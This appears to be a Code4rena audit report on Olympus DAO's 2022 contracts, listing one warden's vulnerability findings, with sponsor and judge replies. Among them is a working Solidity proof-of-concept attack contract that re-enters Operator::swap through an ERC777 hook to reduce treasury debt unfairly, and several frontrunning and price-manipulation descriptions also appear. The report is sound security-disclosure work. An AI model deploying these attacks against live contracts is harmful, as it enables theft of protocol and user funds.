Platform: Code4rena
Start Date: 25/08/2022
Pot Size: $75,000 USDC
Total HM: 35
Participants: 147
Period: 7 days
Judge: 0xean
Total Solo HM: 15
Id: 156
League: ETH
Rank: 1/147
Findings: 10
Award: $6,773.28
🌟 Selected for report: 4
🚀 Solo Findings: 2
🌟 Selected for report: hansfriese
Also found by: V_B, berndartmueller, csanuragjain, m9800, zzzitron
625.0708 DAI - $625.07
It may cause a deadlock situation
Condition:
If users vote, their votes are transferred to the governance contract. So these voters cannot endorse any new proposals. To get the votes back, a new proposal should be activated. It can happen by either 1) activateProposal or 2) executeProposal. However,
So if the both conditions cannot be met, no vote can be reclaimed and it will end up stuck there.
// Governance::activateProposal // can update activeProposal // but needs enough votes to activate a proposal 216 if ( 217 (totalEndorsementsForProposal[proposalId_] * 100) < 218 VOTES.totalSupply() * ENDORSEMENT_THRESHOLD 219 ) { 220 revert NotEnoughEndorsementsToActivateProposal(); 221 } // Governance::vote // if one votes, their votes will be transferred away 259 VOTES.transferFrom(msg.sender, address(this), userVotes); // Governance::executeProposal // can update activeProposal // but can only execute if the voting condition is met 265 function executeProposal() external { 266 uint256 netVotes = yesVotesForProposal[activeProposal.proposalId] - 267 noVotesForProposal[activeProposal.proposalId]; 268 if (netVotes * 100 < VOTES.totalSupply() * EXECUTION_THRESHOLD) { 269 revert NotEnoughVotesToExecute(); 270 } // Governance::reclaimVotes // can only reclaim if the proposalId is not active anymore 302 if (proposalId_ == activeProposal.proposalId) { 303 revert CannotReclaimTokensForActiveVote(); 304 }
When the Governance falls into the situation, the admin can resolve it by either
none
Instead of transferring user's vote, snapshot can be used.
<!-- zzzitron M09 -->#0 - bahurum
2022-09-02T12:11:21Z
Duplicate of #362, but this one is the best written imo.
#1 - fullyallocated
2022-09-04T02:27:53Z
Duplicate of #376.
🌟 Selected for report: zzzitron
Also found by: Ruhum, Trust, berndartmueller, csanuragjain, pashov, sorrynotsorry
482.1975 DAI - $482.20
https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L64-L72 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/TreasuryCustodian.sol#L42-L48
An attacker may be able to withdraw more than intended
Let's say the alice had approval of 100. Now the treasury custodian reduced the approval to 50. Alice could frontrun the setApprovalFor
of 50, and withdraw 100 as it was before. Then withdraw 50 with the newly set approval. So the alice could withdraw 150.
// modules/TRSRY.sol 63 /// @notice Sets approval for specific withdrawer addresses 64 function setApprovalFor( 65 address withdrawer_, 66 ERC20 token_, 67 uint256 amount_ 68 ) external permissioned { 69 withdrawApproval[withdrawer_][token_] = amount_; 70 71 emit ApprovedForWithdrawal(withdrawer_, token_, amount_); 72 }
The TreasuryCustodian
simply calls the setApprovalFor
to grant Approval.
41 42 function grantApproval( 43 address for_, 44 ERC20 token_, 45 uint256 amount_ 46 ) external onlyRole("custodian") { 47 TRSRY.setApprovalFor(for_, token_, amount_); 48 }
none
Instead of setting the given amount, one can reduce from the current approval. By doing so, it checks whether the previous approval is spend.
<!-- zzzitron M06 -->#0 - ind-igo
2022-09-07T04:43:20Z
Understood. Will change the logic to increase/decrease allowances.
#1 - 0xean
2022-09-16T21:04:09Z
I commented in #77 before getting to this ticket. I think this vulnerability should be a high severity as it opens up the possibility of a direct loss of funds in the amount of up to the previous approval amount. Upgrading to H.
#2 - 0xean
2022-09-18T20:55:13Z
@ind-igo - Not sure if you deleted your comment, but that context is useful. Happy to take another look here.
#3 - ind-igo
2022-09-19T18:08:07Z
I did, I just thought it was unnecessary to evaluate the issue. I was just saying that the context of the code is that it is not intended to be used to approve an EOA/multisig, but instead used to approve governance-voted contracts to access treasury funds, in order to deposit into yield contracts or whatever. But I don't think its very relevant to this, as the code is still faulty and exploitable in an extreme case. I already have made this remediation as well, so all good.
🌟 Selected for report: __141345__
250.0283 DAI - $250.03
It may effect the fairness of the voting process
activateProposal
There can be only one active proposal at a time. Therefore, if alice frontruns bob's activateProposal
, the bob should wait until the GRACE_PERIOD
. By doing so, one can prevent somebody else's proposal to go active.
vote
The vote
does not contain which proposalId
to vote for/against as parameter. This may make it possible for frontrun the vote
by activateProposal
so that the vote was counted for the propose, which the voter was not intended. Or the miners may hold the vote back to use it for other proposal.
This is especially problem, because even after the GRACE_PERIOD
one can vote, and the executeProposal
can be called for the proposal. At the same time, a new proposal can be activated.
executeProposal
The executeProposal
will be successful if 1) the vote passed 2) after EXECUTION_TIMELOCK
. Therefore, after the EXECUTIOIN_TIMELOCK
, it is open for votes but one can execute as soon as the number of votes meets the condition. So, it gives an opportunity to frontrun against vote to execute before the against votes are count.
none
The vote
function should contain proposalId
for the vote and compared to the active proposal.
It is good to have a fixed window of votes, and allow to vote only within this window. Then count the votes after the voting window and execute the proposal if it passed. Currently there are overraps between voting, executing, deactivating the current proposal and activating the next proposal, which introduces frontrun opportunities.
#0 - bahurum
2022-09-02T13:22:55Z
Point no 2. is Duplicate of #273
#1 - fullyallocated
2022-09-04T01:55:15Z
This is how the voting system is currently intended to work—it's first come first serve after the endorsement threshold is passed. While not the best mechanism, it is the intended behavior.
#2 - 0xean
2022-09-19T23:07:35Z
Going to mark as a duplicate of #273 - although there are additional points beyond #273 , all have been covered in other issues.
🌟 Selected for report: rbserver
Also found by: GalloDaSballo, Guardian, Lambda, __141345__, cccz, csanuragjain, m9800, zzzitron
91.1353 DAI - $91.14
The votes do not reflect the votes the user have
In the line 247 of the below snippet, the vote function checks whether the user already voted to the current proposal. This prevents the users from voting additionally.
If the user forgot to reclaim from the past votes, or the user got minted additionally after the vote, the user cannot use those votes for the current proposal anymore. This is unfair, especially because the user cannot bypass this by transferring the votes, as transfer is disabled.
// Governance::vote 240 function vote(bool for_) external { 241 uint256 userVotes = VOTES.balanceOf(msg.sender); 242 243 if (activeProposal.proposalId == 0) { 244 revert NoActiveProposalDetected(); 245 } 246 247 if (userVotesForProposal[activeProposal.proposalId][msg.sender] > 0) { 248 revert UserAlreadyVoted(); 249 } 250 251 if (for_) { 252 yesVotesForProposal[activeProposal.proposalId] += userVotes; 253 } else { 254 noVotesForProposal[activeProposal.proposalId] += userVotes; 255 } 256 257 userVotesForProposal[activeProposal.proposalId][msg.sender] = userVotes; 258 259 VOTES.transferFrom(msg.sender, address(this), userVotes); 260 261 emit WalletVoted(activeProposal.proposalId, msg.sender, for_, userVotes); 262 }
none
Allow to vote additionally.
<!-- zzzitron M08 -->#0 - fullyallocated
2022-09-04T02:50:53Z
Duplicate of #275
857.4359 DAI - $857.44
https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/VoterRegistration.sol#L53-L56 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Governance.sol#L259
One can avoid to be revoked their votes
Let's assume there is a running votes. If an user will be revoked their votes by VoteRegistration::revokeVotesFrom
, they can call Governance::vote
with high gas fee to avoid for their votes to be taken away by front-running the revokeVotesFrom
.
The Governance::vote
will transfer the votes from the user to the governance contract. Therefore, after the vote
, the user does not have any votes in their address. So, the VoteRegistration::revokeVotesFrom
will revert and no votes are revoked.
To be really sure, the user keep their votes always in the Governance contract by voting and reclaim only before the next vote. This way, the user will have the voting power, but they will be always safe from any revokes.
// policies/VoterRegistration::revokeVotesFrom 53 function revokeVotesFrom(address wallet_, uint256 amount_) external onlyRole("voter_admin") { 54 // Revoke the votes in the VOTES module 55 VOTES.burnFrom(wallet_, amount_); 56 } // policies/Governance::vote 259 VOTES.transferFrom(msg.sender, address(this), userVotes);
none
If the votes should be transferred to the governance after the vote, the revoke function should also decrease those votes.
<!-- zzzitron M04 -->#0 - fullyallocated
2022-09-04T03:05:10Z
Technically correct but insignificant, the Voter Registration is just for testing purposes and real votes won't utilize this mechanic
#1 - 0xean
2022-09-19T23:16:00Z
going to mark this as a rough dupe of #275 - I don't think the "front running" makes this special in any way and really comes down to the same root issue. Votes that are revoked still count.
#2 - 0xean
2022-09-22T13:13:24Z
closer dupe to #308
🌟 Selected for report: zzzitron
1905.4132 DAI - $1,905.41
https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112 https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330
One can repay loan to the treasury with the value from the Operator::swap
Condition:
The below code snippet shows a part of proof of concept for reentrancy attack, which is based on src/test/policies/Operator.t.sol
. The full test code can be found here, and git diff from the Operator.t.sol
.
Let's say that the reserve token implements ERC777 with the hook for the sender (see weird erc20). If the attacker can take debt of the reserve currency for the attack contract Reenterer
, the contract can call OlympusTreasury::repayLoan
and in the middle of repay call Operator::swap
function. The swap
function will modify the reserve token balance of treasury and the amount the attacker swapped will be also be used for the repayLoan
.
In the below example, the attacker has debt of 1e18, and repays 1e17. But since the swap
function is called in the repayLoan
, the debt is reduced 1e17 more then it should. And the swap happened as expected so the attack has the corresponding ohm token.
/// Mock to simulate the senders hook /// for simplicity omitted the certain aspects like ERC1820 registry and etc. contract MockERC777 is MockERC20 { constructor () MockERC20("ERC777", "777", 18) {} function transferFrom(address from, address to, uint256 amount) public override returns (bool) { _callTokenToSend(from, to, amount); return super.transferFrom(from, to, amount); // _callTokenReceived(from, to, amount); } // simplified implementation for ERC777 function _callTokenToSend(address from, address to, uint256 amount) private { if (from != address(0)) { IERC777Sender(from).tokensToSend(from, to, amount); } } } interface IERC777Sender { function tokensToSend(address from, address to, uint256 amount) external; } /// Concept for an attack contract contract Reenterer is IERC777Sender { ERC20 public token; Operator public operator; bool public entered; constructor(address token_, Operator op_) { token = ERC20(token_); operator = op_; } function tokensToSend(address from, address to, uint256 amount) external override { if (!entered) { // call swap from reenter // which will manipulate the balance of treasury entered = true; operator.swap(token, 1e17, 0); } } function attack(OlympusTreasury treasury) public { // approve to the treasury token.approve(address(treasury), 1e18); token.approve(address(operator), 100* 1e18); // repayDebt of 1e17 treasury.repayLoan(token, 1e17); } }
/// the test function test_poc__reenter() public { vm.prank(guardian); operator.initialize(); reserve.mint(address(reenterer), 1e18); assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18); // start repayLoan reenterer.attack(treasury); // it should be 9 * 1e17 but it is 8 * 1e17 assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17); }
The repayLoan
, in the line 110 below, calls the safeTransferFrom
. The balance before and after are compared to determine how much of debt is paid. So, if the safeTranferFrom
can modify the balance, the attacker can profit from it.
// OlympusTreasury::repayLoan // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/TRSRY.sol#L105-L112 105 function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant { 106 if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding(); 107 108 // Deposit from caller first (to handle nonstandard token transfers) 109 uint256 prevBalance = token_.balanceOf(address(this)); 110 token_.safeTransferFrom(msg.sender, address(this), amount_); 111 112 uint256 received = token_.balanceOf(address(this)) - prevBalance;
In the swap
function, if the amount in token is reserve, the payment token to buy ohm will be paid to the treasury. It gives to an opportunity to modify the balance.
// Operator::swap // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Operator.sol#L330 329 /// Transfer reserves to treasury 330 reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);
Although both of Operator::swap
and OlympusTreasury::repayLoan
have nonReentrant
modifier, it does not prevent as they are two different contracts.
foundry
The deposit logic in the OlympusTreasury::repayLoan
was trying to handle nonstandard tokens, such as fee-on-transfer. But by doing so introduced an attack vector for tokens with ERC777. If the reserve token should be decided in the governance, it should be clarified, which token standards can be used safely.
#0 - ind-igo
2022-09-08T20:33:09Z
Good report, although very low risk as the preconditions are extremely unlikely. Will take into account the suggestion by adding a comment to the function. Thank you.
#1 - 0xean
2022-09-19T23:02:50Z
I would probably downgrade to QA, but the warden does a good job of proving the point out with examples. Will leave as M
🌟 Selected for report: zzzitron
1905.4132 DAI - $1,905.41
The beat
cannot be called anymore and price information will not be updated
Condition:
The below proof of concept demonstrates that the operate
will revert with 100% wallspread. The full test code can be found here as well as the diff from Operator.t.sol
.
In the test, the wallspread was set to 10000, which is 100% (line 51). The price was set so that the lower market should be deployed (line 59). In the market deployment logic (Operator::_activate
) will revert due to division by zero, and operate
will fail.
Once this condition is met, the operate
cannot be called and Heart::beat
cannot be called as well, since the Heart::beat
is calling Operator::opearate
under the hood. As the result the price can never be updated. But other codes who uses the price information will not know that the price information is stale. If the upper wall is active and still have the capacity, one can swap from the upper wall using the stale information, which might cause some loss of funds.
function test_poc__lowCushionDeployWithWallspread10000Reverts() public { /// Initialize operator vm.prank(guardian); operator.initialize(); /// if the wallspread is 10000 the operate might revert vm.prank(policy); operator.setSpreads(7000, 10000); /// Confirm that the cushion is not deployed assertTrue(!auctioneer.isLive(range.market(true))); /// Set price on mock oracle into the lower cushion /// given the lower wallspread is 10000 /// when the lower market should be deployed the operate reverts price.setLastPrice(20 * 1e18); /// Trigger the operate function manually /// The operate will revert Error with "Division or modulo by 0" /// But I could not figure out to catch with `expectRevert` /// so just commenting out the assert // vm.prank(guardian); // /// vm.expectRevert(bytes("Division or module by 0")); // this cannot catch the revert... // operator.operate(); }
The main cause is that the RANGE::setSpreads
function fails to check for wallSpread_ == 10000
. If the setter does not allow the wallSpread to be 100%, the price of the lower wall will not go to zero.
// modules/RANGE.sol // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L242-L250 242 function setSpreads(uint256 cushionSpread_, uint256 wallSpread_) external permissioned { 243 // Confirm spreads are within allowed values 244 if ( 245 wallSpread_ > 10000 || 246 wallSpread_ < 100 || 247 cushionSpread_ > 10000 || 248 cushionSpread_ < 100 || 249 cushionSpread_ > wallSpread_ 250 ) revert RANGE_InvalidParams();
In the RANGE::updatePrices
, the price of lower wall will be zero if the wallSpread is 100%.
If the price of lower wall is zero, the Operator::_activate
will fail for the lower cushion.
// policies/Operator.sol::_activate(bool high_) // when high_ is false 421 uint256 invWallPrice = 10**(oracleDecimals * 2) / range.wall.low.price; // modules/RANGE.sol::updatePrices 164 _range.wall.low.price = (movingAverage_ * (FACTOR_SCALE - wallSpread)) / FACTOR_SCALE;
foundry
Mitigation suggestion: line 245. Forbid wallSpread to be 100%.
<!-- zzzitron M01 -->// modules/RANGE.sol // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/modules/RANGE.sol#L242-L250 242 function setSpreads(uint256 cushionSpread_, uint256 wallSpread_) external permissioned { 243 // Confirm spreads are within allowed values 244 if ( -245 wallSpread_ > 10000 || + wallSpread_ >= 10000 || 246 wallSpread_ < 100 || 247 cushionSpread_ > 10000 || 248 cushionSpread_ < 100 || 249 cushionSpread_ > wallSpread_ 250 ) revert RANGE_InvalidParams();
#0 - Oighty
2022-09-06T19:16:00Z
This is indeed an edge case and we will update the value checks for the spread values to exclude 10000
. However, from a practical perspective, this is very unlikely to happen. If the goal is to set the lower wall to 0, then the system would just be disabled.
#1 - 0xean
2022-09-19T23:05:02Z
given the warden does fully demonstrate the issue I am going to award as M with the understanding that this is an extreme edge case.
11.0311 DAI - $11.03
https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L154-L180
It may result to incorrect price information
In the PRICE::getCurrentPrice
, line 167 and 173, the ohmEthPriceInt
and reserveEthPriceInt
are integers, which were casted to uint256 without checking for the underflow.
If the reserveEthPrice
should be zero, the getCurrentPrice
will revert due to line 177. But it will not revert if the ohmEthPriceInt
should be zero.
// modules/PRICE.sol::getCurrentPrice // https://github.com/code-423n4/2022-08-olympus/blob/main/src/modules/PRICE.sol#L154-L180 160 { 161 (, int256 ohmEthPriceInt, , uint256 updatedAt, ) = _ohmEthPriceFeed.latestRoundData(); 162 // Use a multiple of observation frequency to determine what is too old to use. 163 // Price feeds will not provide an updated answer if the data doesn't change much. 164 // This would be similar to if the feed just stopped updating; therefore, we need a cutoff. 165 if (updatedAt < block.timestamp - 3 * uint256(observationFrequency)) 166 revert Price_BadFeed(address(_ohmEthPriceFeed)); 167: ohmEthPrice = uint256(ohmEthPriceInt); 168 169 int256 reserveEthPriceInt; 170 (, reserveEthPriceInt, , updatedAt, ) = _reserveEthPriceFeed.latestRoundData(); 171 if (updatedAt < block.timestamp - uint256(observationFrequency)) 172 revert Price_BadFeed(address(_reserveEthPriceFeed)); 173: reserveEthPrice = uint256(reserveEthPriceInt); 174 } 175 176 // Convert to OHM/RESERVE price 177 uint256 currentPrice = (ohmEthPrice * _scaleFactor) / reserveEthPrice;
none
Check if the returned prices are bigger than zero.
<!-- zzzitron M05 -->#0 - 0xean
2022-09-19T23:18:33Z
rough dupe of #441
🌟 Selected for report: rvierdiiev
Also found by: Jeiwan, Lambda, Trust, datapunk, devtooligan, itsmeSTYJ, zzzitron
113.9192 DAI - $113.92
The price information can be manipulated
Condition:
Upon updating the lastBeat
, the current timestamp was not used. Instead, the current frequency was added to the last lastBeat
. In the case the lastBeat
is multiple times behind of the observation frequency, the beat function can be called multiple times, even within the same block. This will lead to manipulation of the moving average, therefore price manipulation.
There are multiple possibilities why the condition may occur.
resetBeat
beat
functionbeat
could not be called. If this was the case, one can send reward token to the Heart contract in order to manipulate the price// policies/Heart.sol // https://github.com/code-423n4/2022-08-olympus/blob/b5e139d732eb4c07102f149fb9426d356af617aa/src/policies/Heart.sol#L92-L109 92 function beat() external nonReentrant { 93 if (!active) revert Heart_BeatStopped(); 94 if (block.timestamp < lastBeat + frequency()) revert Heart_OutOfCycle(); 95 96 // Update the moving average on the Price module 97 PRICE.updateMovingAverage(); 98 99 // Trigger price range update and market operations 100 _operator.operate(); 101 102 // Update the last beat timestamp 103 lastBeat += frequency(); 104 105 // Issue reward to sender 106 _issueReward(msg.sender); 107 108 emit Beat(block.timestamp); 109 }
none
When the Heart::beat
is called, update the lastBeat
to the current block.timestamp
.
#0 - Oighty
2022-09-07T21:02:13Z
We originally implemented this with lastBeat = block.timestamp
, but were advised to adopt the lastBeat += frequency()
approach to avoid the update timestamp drifting over time, which could get it out of sync with other parts of the protocol (such as OHM rebases).
We acknowledge there are some risks with this approach, but the most impactful ones are from severe events, such as a network outage. If we keep the contract properly incentivized and/or have a protocol-owned backup to call it if no one else does, then we should avoid issues with multiple beats.
#1 - Oighty
2022-09-07T21:11:38Z
See solution proposed on #79
#2 - 0xean
2022-09-19T13:26:13Z
closing as dupe of #79
🌟 Selected for report: zzzitron
Also found by: 0x040, 0x1f8b, 0x52, 0x85102, 0xDjango, 0xNazgul, 0xNineDec, 0xSky, 0xSmartContract, 0xkatana, 8olidity, Aymen0909, Bahurum, BipinSah, Bnke0x0, CRYP70, CertoraInc, Ch_301, Chandr, Chom, CodingNameKiki, Deivitto, DimSon, Diraco, ElKu, EthLedger, Funen, GalloDaSballo, Guardian, IllIllI, JansenC, Jeiwan, Lambda, LeoS, Margaret, MasterCookie, PPrieditis, PaludoX0, Picodes, PwnPatrol, RaymondFam, ReyAdmirado, Rohan16, Rolezn, Ruhum, Sm4rty, StevenL, The_GUILD, TomJ, Tomo, Trust, Waze, __141345__, ajtra, ak1, apostle0x01, aviggiano, bin2chen, bobirichman, brgltd, c3phas, cRat1st0s, carlitox477, cccz, ch13fd357r0y3r, cloudjunky, cryptphi, csanuragjain, d3e4, datapunk, delfin454000, devtooligan, dipp, djxploit, durianSausage, eierina, enckrish, erictee, fatherOfBlocks, gogo, grGred, hansfriese, hyh, ignacio, indijanc, itsmeSTYJ, ladboy233, lukris02, martin, medikko, mics, natzuu, ne0n, nxrblsrpr, okkothejawa, oyc_109, p_crypt0, pfapostol, prasantgupta52, rajatbeladiya, rbserver, reassor, ret2basic, robee, rokinot, rvierdiiev, shenwilly, sikorico, sorrynotsorry, tnevler, tonisives, w0Lfrum, yixxas
531.6341 DAI - $531.63
Risk | Title |
---|---|
L00 | Operator: incorrect accounting for fee-on-transfer reserve token |
L01 | BondCallback: incorrect accounting if quoteToken is rebase token |
L02 | PRICE: unsafe cast for numObservations |
L03 | Operator: unsafe cast for decimals |
L04 | BondCallback: operator is not set constructor |
L05 | Operator: missing check for configParmas[0] (cushionFactor) in the constructor |
L06 | Kernel: misplaced zero address check for changeKernel |
L07 | Kernel: missing zero address check for executor and admin |
L08 | INSTR, Governance: upon module's upgrade, all instruction data should be carried over to the new modules |
L09 | BondCallback, Operator: upon module's upgrade, the token approval should be revoked |
L10 | RANGE, PRICE: unused import of FullMath |
L11 | Heart: if the _issueReward fails the heart beat will revert |
L12 | PRICE: stale price |
If the reserve token is fee-to-transfer token and the user is buying ohm, the Operator::swap
will incorrectly assume the amountIn_
value is transferred, which fails to consider the fees. If the fee is rounded up, the attacker can purchase ohm without giving any assets to the treasury. It may not be profitable for the attacker, but it may cause devaluing of the ohm. However, the loss will be limited to the capacity.
// Operator::swap // if(tokenIn_ == reserve) : buying ohm 329 /// Transfer reserves to treasury 330 reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);
If the quoteToken is rebase token, the priorBalances may change due to rebasing or airdrop. It may result to an incorrect accounting. However, whether it is exploitable depends on the Bond market's logic.
With the current logic, it just checks whether the balance is increased more than the inputAmount_
, so it is harder to exploit, compare to the alternative logic of using the difference in balances as the input amount. However, it also introduces the possibility of paying the users less than they deserve.
// Callback::callback 113 // Check that quoteTokens were transferred prior to the call 114 if (quoteToken.balanceOf(address(this)) < priorBalances[quoteToken] + inputAmount_) 115 revert Callback_TokensNotReceived();
numObservations
The movingAverageDuration
and observationFrequency
are uint48. So movingAverageDuration / observationFrequency
may overflow when casted to uint32. In the below snippet, line 281, the array will be set based on the uint256 value, but the numObservations
is casted down to uint32. It may result in different numObservations
and the length of observations
array.
However, given the large numbers, the attempt to set such a large number as the parameters will likely to fail with "out of gas" error, since the length of the array observations
is ridiculously large in this case. Yet, it is probably safe to set some upper limit for the numObservations
or use safeCast.
// modules/PRICE::constructor 97 numObservations = uint32(movingAverageDuration_ / observationFrequency_); // modules/PRICE::changeObservationFrequency 280 // Store blank observations array of new size 281 observations = new uint256[](newObservations); 282 283 // Set initialized to false and update state variables 284 initialized = false; 285 lastObservationTime = 0; 286 _movingAverage = 0; 287 nextObsIndex = 0; 288 observationFrequency = observationFrequency_; 289 numObservations = uint32(newObservations);
In the Operator::_activate
decimal values were casted to int8
and uint8
back and forth. Since there is no check, those values can potentially overflow/underflow. However, if it happens the exponent in the line 376 will like to revert due to too large numbers. Besides, if the price decimals are that big, this may not be the biggest problem to face.
// policies/Operator.sol::_activate 372 int8 scaleAdjustment = int8(ohmDecimals) - int8(reserveDecimals) + (priceDecimals / 2); 375 uint256 oracleScale = 10**uint8(int8(PRICE.decimals()) - priceDecimals); 376 uint256 bondScale = 10 ** 377 uint8( 378 36 + scaleAdjustment + int8(reserveDecimals) - int8(ohmDecimals) - priceDecimals 379 );
constructor
If the operator
is not set, the callback
function will revert so, it is crucial to set the operator
before any operation. However, it was not set in the constructor
, but should be set separately by calling setOperator
.
The Operator::constructor
does not check the condition of the cushionFactor
. Below is the condition for the cushionFactor
checked in the Operator::setCushionFactor
.
// Operator::setCushionFactor 516 function setCushionFactor(uint32 cushionFactor_) external onlyRole("operator_policy") { 517 /// Confirm factor is within allowed values 518 if (cushionFactor_ > 10000 || cushionFactor_ < 100) revert Operator_InvalidParams(); 519 520 /// Set factor 521 _config.cushionFactor = cushionFactor_; 522 523 emit CushionFactorChanged(cushionFactor_); 524 }
changeKernel
Currently, the check for the Kernel
to be a contract (also not to be the zero address), is in the current Kernel
implementation. However, no modules and policies have the logic to ensure this as they inherit from KernelAdapter
, which will just set the new kernel without a question. This will work well as long as the new Kernel has the similar logic to check the next Kernel's integrity. However, if the logic is forgotten, there is no other safe guard to ensure that the next kernel is not a zero address and is a contract.
Since Kernel
is absolutely needed for this system's functionality, there is no possible case that the Kernel should be the zero address. Therefore, it is probably safe to add the checking logic to the KernelAdapter
, so every module and policy will check for the next Kernel. It costs more gas since the check is done multiple times, but still arguably it is worth the cost, since Kernel is core part of the system and it will not updated very often.
// KernelAdapter::changeKernel 76 function changeKernel(Kernel newKernel_) external onlyKernel { 77 kernel = newKernel_; 78 } // Kernel::executeAction 254 } else if (action_ == Actions.MigrateKernel) { 255 ensureContract(target_); 256 _migrateKernel(Kernel(target_)); 257 }
executor
and admin
The executor
and admin
are not checked for the zero address when set by the Kernel::executeAction
.
// Kernel::executeAction 250 } else if (action_ == Actions.ChangeExecutor) { 251 executor = target_; 252 } else if (action_ == Actions.ChangeAdmin) { 253 admin = target_;
The Governance
's logic will break if the INSTR
module is upgraded to a new contract without having the same instructions data, since the proposalId
's the Governance
is using are bound to the INSTR
module.
The BondCallback
and Operator
approves ohm to the MINTR
module in the configureDependencies
. However, there is no logic to revoke those approvals (e.i. approve to zero). In the case of the MINTR
has some bugs, it may be desirable to be able to revoke the approvals.
// Operator::configureDependencies 167 ohm.safeApprove(address(MINTR), type(uint256).max);
FullMath
The modules RANGE
and PRICE
imports FullMath
, but it is not used.
// modules/PRICE.sol 22 contract OlympusPrice is Module { 23 using FullMath for uint256;
If the _issueReward
reverts, for example, because the token balance is too low, the beat
will as well revert, due to the safeTransfer
. One might consider not to revert even in the case the _issueReward
reverts.
There is no indicator whether the price information is up-to-date. If the price information is not properly updated, the other contracts will keep using the data resulting in incorrect prices for swap.
<!-- zzzitron QA -->#0 - 0xean
2022-10-03T18:03:22Z
L07 - should be NC L08 - should be NC L10 - should be NC L12 - should be NC